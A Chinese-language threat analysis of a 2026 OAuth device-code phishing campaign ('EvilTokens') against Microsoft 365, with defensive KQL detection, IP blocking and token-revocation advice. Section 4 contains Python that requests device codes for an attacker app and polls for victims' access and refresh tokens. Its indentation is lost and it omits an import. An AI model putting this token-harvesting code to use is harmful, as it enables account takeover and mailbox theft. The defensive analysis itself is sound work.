摘要
2026年3月,全球网络安全研究机构披露了一起大规模的“设备代码钓鱼”(Device Code Phishing)攻击事件。该事件波及美国、加拿大、澳大利亚等五国超过340家Microsoft 365组织。攻击者利用OAuth设备授权流(Device Authorization Grant Flow)的特性,结合Cloudflare Workers、Railway等合法PaaS服务,构建了难以检测的钓鱼基础设施。本文基于此次真实攻击案例,深入剖析了攻击者利用“EvilTokens”钓鱼即服务(PhaaS)平台实施的多跳重定向、反分析机制及令牌劫持技术。文章详细还原了从鱼叉邮件到令牌窃取的完整技术链,反网络钓鱼技术专家芦笛指出,此类攻击之所以成功,是因为它完全利用了合法的微软基础设施进行认证,绕过了传统的基于信誉的过滤机制。本文提供了针对OAuth令牌滥用的检测代码示例,并提出了包含网络层阻断、身份层监控及用户行为分析在内的纵深防御策略。研究表明,应对此类利用合法协议与云服务的“隐身”攻击,必须建立基于零信任原则的持续监控与即时响应机制。
关键词: OAuth 2.0;设备代码钓鱼;钓鱼即服务 (PhaaS);身份安全;Microsoft 365;攻击链分析
1. 引言
随着企业IT架构向云端迁移,身份(Identity)已取代边界成为新的安全防线。然而,传统的用户名/密码认证机制正逐渐被OAuth 2.0等令牌(Token)机制所取代。这种转变在提升用户体验的同时,也给攻击者带来了新的可乘之机。2026年2月至3月期间,Huntress与Palo Alto Networks Unit 42等机构联合披露了一起针对Microsoft 365租户的大规模攻击活动。
此次攻击不再依赖传统的恶意软件或伪造的登录页面,而是利用了OAuth协议中的“设备授权流”(RFC 8628)。攻击者通过“钓鱼即服务”(PhaaS)平台EvilTokens,利用Cloudflare Workers和Railway等合法开发平台作为跳板,诱导用户主动授权恶意应用。由于攻击流量往往表现为对合法云服务(如microsoft.com/devicelogin)的正常访问,传统的基于签名和URL黑名单的防御体系在此类攻击面前几乎完全失效。
反网络钓鱼技术专家芦笛指出:“这标志着钓鱼攻击进入了‘后页面’时代。攻击者不再需要搭建伪造的登录页,他们直接借用微软的登录页,窃取的不是密码,而是具有持久权限的访问令牌。这种‘借尸还魂’的手法,是对企业身份安全体系的严峻考验。”
本文旨在通过对此次EvilTokens攻击事件的深度复盘,从技术原理、攻击代码实现、基础设施利用到防御策略进行系统性阐述,为企业构建下一代身份安全防线提供理论依据与实践指导。
2. 攻击背景与威胁态势
2.1 OAuth设备授权流的初衷与滥用
OAuth 2.0的设备授权流最初设计用于在输入受限的设备(如智能电视、IoT设备)上获取访问令牌。其核心逻辑是:用户在受限设备上输入一个短代码,然后在另一台设备(如手机或电脑)的浏览器中完成认证。
在正常流程中,这提升了用户体验。然而,攻击者发现,如果能诱骗用户在自己的电脑上访问microsoft.com/devicelogin并输入代码,就能在不触碰用户密码的情况下,获得一个代表用户身份的Refresh Token。Huntress的研究表明,此次攻击中,威胁行为者首先通过cURL请求微软Entra ID的API获取设备代码,然后诱导受害者输入该代码,从而将生成的令牌“劫持”到攻击者控制的API端点。
2.2 攻击规模与受害者画像
根据The Hacker News披露的数据,此次攻击自2026年2月19日起呈加速态势,主要针对美国、加拿大、澳大利亚、新西兰和德国的组织。受害行业涵盖建筑、非营利组织、房地产、医疗保健及政府部门。值得注意的是,攻击者并未针对特定的高价值目标进行长期潜伏,而是采取了广撒网的策略,利用PhaaS平台的自动化能力迅速渗透大量中低防护水平的组织。
2.3 恶意生态:EvilTokens PhaaS平台
此次事件中出现的EvilTokens平台,展示了网络犯罪产业的工业化水平。该平台于2026年2月在Telegram上出现,提供全套的钓鱼工具、垃圾邮件发送服务以及绕过反病毒软件的技术。其商业模式类似于正规的SaaS服务,甚至提供24/7客户支持和用户反馈渠道。这种低门槛的攻击工具分发,使得不具备深厚技术背景的普通犯罪分子也能发起针对企业身份提供商的高级攻击。
3. 攻击技术链深度剖析
3.1 初始入侵:社会工程学与多跳重定向
攻击始于一封精心构造的钓鱼邮件。与传统钓鱼邮件直接附带恶意链接不同,此次攻击利用了安全厂商(如Cisco、Trend Micro、Mimecast)的合法重定向服务作为中间跳板。
反网络钓鱼技术专家芦笛分析指出,这种“多跳重定向链”是此次攻击的关键规避技术。攻击者利用了企业通常信任安全厂商域名的策略,将恶意URL包裹在合法的重定向服务中。流量路径通常为:受害者点击 -> 安全厂商Redirector -> 被攻陷站点/Cloudflare Workers -> Vercel -> 最终钓鱼页。这种层层嵌套的结构,有效稀释了恶意链接的信誉评分,使得基于静态黑名单的邮件网关难以拦截。
3.2 基础设施武器化:Cloudflare与Railway
攻击者大量使用了Cloudflare Workers (workers.dev) 来托管中间页面。由于Cloudflare是全球广泛信任的CDN和边缘计算服务,企业防火墙通常不会屏蔽其IP段。此外,攻击的最终认证滥用主要源自Railway.com的五个特定IP地址(如162.220.234.41等),这些IP地址承载了约84%的恶意认证流量。
这种利用合法PaaS(平台即服务)的做法,使得攻击者能够快速部署和销毁基础设施,极大地增加了溯源和阻断的难度。
3.3 核心载荷:自动化与反分析技术
Palo Alto Networks Unit 42在分析中发现,EvilTokens的钓鱼页面采用了多种反分析和反取证技术,以防止安全研究人员捕获样本:
禁用交互: 页面禁用了右键菜单、文本选择和拖拽操作。
开发者工具封锁: 通过JavaScript拦截F12、Ctrl+Shift+I/J和Ctrl+U等快捷键。
无限调试器陷阱: 利用窗口大小启发式检测(Window Size Heuristic)检测开发者工具,一旦发现即触发无限debugger循环,导致自动化分析环境卡死。
实时窃取: 页面在加载时即通过WebRTC或其他手段将受害者的浏览器Cookie外泄给攻击者。
此外,Huntress发现了一个有趣的迭代:攻击者不再手动提供代码,而是通过页面上的自动化代码生成器直接在受害者浏览器中渲染设备代码,省去了通过邮件发送代码的步骤,提高了攻击效率。
4. 技术复现与代码示例分析
为了深入理解攻击原理,本文构建了简化的技术演示环境(仅用于教学研究,严禁非法使用)。
4.1 OAuth设备代码请求模拟
攻击者的第一步是向身份提供商请求设备代码。以下是模拟攻击者使用Python请求Microsoft Entra ID设备代码的示例:
import requests
import json
def request_device_code(client_id, scope):
"""
模拟攻击者请求设备代码
client_id: 攻击者注册的恶意应用ID
scope: 请求的权限范围
"""
url = "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode"
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
data = {
'client_id': client_id,
'scope': scope
}
try:
response = requests.post(url, headers=headers, data=data)
if response.status_code == 200:
result = response.json()
print(f"设备代码: {result['device_code']}")
print(f"用户需访问: {result['verification_uri']}")
print(f"请输入代码: {result['user_code']}")
return result
else:
print(f"请求失败: {response.status_code}")
return None
except Exception as e:
print(f"网络错误: {e}")
# 模拟攻击者操作
# 注意:此处的client_id为攻击者控制的恶意应用ID
malicious_client_id = "ATTACKER_REGISTERED_APP_ID"
required_scope = "Mail.Read User.Read" # 请求读取邮件和用户信息的权限
# 执行请求
device_flow_data = request_device_code(malicious_client_id, required_scope)
4.2 令牌获取与劫持逻辑
当受害者在浏览器中访问microsoft.com/devicelogin并输入代码后,微软会生成令牌。攻击者的后端服务需要轮询令牌端点以获取结果。
def poll_for_tokens(token_url, client_id, device_code):
"""
攻击者轮询令牌端点
在受害者完成认证后,立即获取Access Token和Refresh Token
"""
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
data = {
'grant_type': 'urn:ietf:params:oauth:grant-type:device_code',
'client_id': client_id,
'device_code': device_code
}
while True:
try:
response = requests.post(token_url, headers=headers, data=data)
if response.status_code == 200:
tokens = response.json()
print("[+] 令牌获取成功!攻击完成。")
print(f"访问令牌 (Access Token): {tokens['access_token']}")
print(f"刷新令牌 (Refresh Token): {tokens['refresh_token']}")
# 此处攻击者已获得持久化访问权限
# 即使受害者修改密码,Refresh Token依然有效
break
elif response.status_code == 400:
error = response.json().get('error')
if error == 'authorization_pending':
print("[-] 等待用户授权...")
time.sleep(5) # 等待5秒后重试
else:
print(f"错误: {error}")
break
except Exception as e:
print(f"轮询错误: {e}")
break
# 在实际攻击中,这段代码运行在Railway或类似的PaaS服务器上
# 当Huntress捕获到对Railway IP的异常API调用时,即表明此过程正在进行
4.3 代码逻辑与防御启示
通过上述代码,我们可以清晰地看到攻击的核心:它完全依赖标准的OAuth API调用。这意味着:
无恶意软件: 攻击不涉及文件落地,EDR/XDR产品难以捕获。
合法流量: 流量指向微软官方域名,防火墙无法阻断。
持久性: 获取Refresh Token后,攻击者拥有了长期的API访问权限。
反网络钓鱼技术专家芦笛强调,在防御层面,我们不能试图在代码层面“修补”OAuth协议,而必须在身份提供层(Identity Provider Level)建立基于异常行为的检测机制。
5. 防御体系重构策略
针对EvilTokens这类利用合法协议和基础设施的攻击,传统的边界防御已失效。本文提出一套包含网络、身份、数据三层的重构防御体系。
5.1 网络层阻断:基于IP信誉的微隔离
虽然Cloudflare和Railway是合法服务,但特定的恶意IP段是可以识别的。
IP黑名单: 根据Huntress披露的IoC(威胁指标),企业应立即在防火墙或代理服务器中阻断与Railway相关的恶意IP(如162.220.234.0/24网段)。
出站流量控制: 严格限制内部用户对PaaS平台(如workers.dev, railway.app)的出站访问,除非有明确的业务需求。
5.2 身份层监控:Azure AD日志狩猎
检测是防御此类攻击的最后一道防线。企业必须建立针对Azure AD(Entra ID)日志的实时监控。
检测规则示例(KQL查询):
攻击者通常会使用特定的User-Agent或从异常IP地址进行令牌请求。以下是一个用于Azure Sentinel或Log Analytics的Kusto查询示例,用于检测来自高风险ASN(如Railway)的登录尝试:
// 检测来自已知恶意基础设施(如Railway)的异常登录
signinlogs
| where TimeGenerated > ago(1d)
| where ResultType == "0" // 成功登录
| where IPAddress has_any (
"162.220.234", "162.220.232" // Railway恶意IP段
)
| project
TimeGenerated,
UserPrincipalName,
IPAddress,
AppDisplayName,
ClientAppType,
DeviceDetailModel
| extend RiskyInfrastructure = "Potential EvilTokens Traffic"
| sort by TimeGenerated desc
反网络钓鱼技术专家芦笛指出,除了IP检测,还应监控DeviceCodeOAuth相关的审计日志。任何来自非受控设备或异常地理位置的设备代码请求,都应被视为高危事件并触发告警。
5.3 数据层保护:令牌生命周期管理
由于攻击获取的是Refresh Token,且该Token在密码重置后依然有效(取决于配置),传统的“改密码”已不足以清除威胁。
强制令牌撤销: 一旦发现受感染用户,管理员必须通过PowerShell强制撤销该用户的所有Refresh Token。命令如下:
# 强制撤销用户所有刷新令牌
Revoke-AzureADUserAllRefreshToken -ObjectId "user@domain.com"
短生命周期令牌: 配置Conditional Access策略,强制实施较短的Access Token生命周期,并要求频繁的重新授权,以缩短攻击窗口。
5.4 用户教育:从“识别伪造页面”到“警惕授权请求”
传统的钓鱼培训教用户寻找“拼写错误的URL”或“低质量的Logo”,但在Device Code Phishing中,URL是真实的microsoft.com。
培训内容必须更新为:
警惕代码: 任何要求你访问microsoft.com/devicelogin并输入代码的邮件都是诈骗。
权限审查: 在授权OAuth应用时,仔细检查应用请求的权限范围(Scope)。如果一个简单的文档查看器请求“读取邮件”权限,应立即拒绝。
6. 结语
2026年的Device Code Phishing大规模攻击事件,是网络犯罪分子利用云服务合法功能进行“隐身”攻击的典型案例。EvilTokens平台的出现,标志着身份盗窃已进入“工业化服务”阶段。攻击者利用OAuth协议的信任机制,结合Cloudflare和Railway的基础设施,构建了一个难以从网络层拦截的攻击链。
反网络钓鱼技术专家芦笛最后总结道:“面对这种‘无文件、合法域名、标准协议’的三重困境,企业安全团队必须从被动的‘阻断’思维转向主动的‘检测与响应’思维。防御的核心不再是建立更高的墙,而是建立更敏锐的‘眼睛’——即对身份日志的深度分析能力和对令牌异常流转的即时反应机制。只有将安全控制点从网络边界前移至身份认证层,才能有效应对未来层出不穷的基于协议滥用的高级威胁。”
编辑:芦笛(公共互联网反网络钓鱼工作组)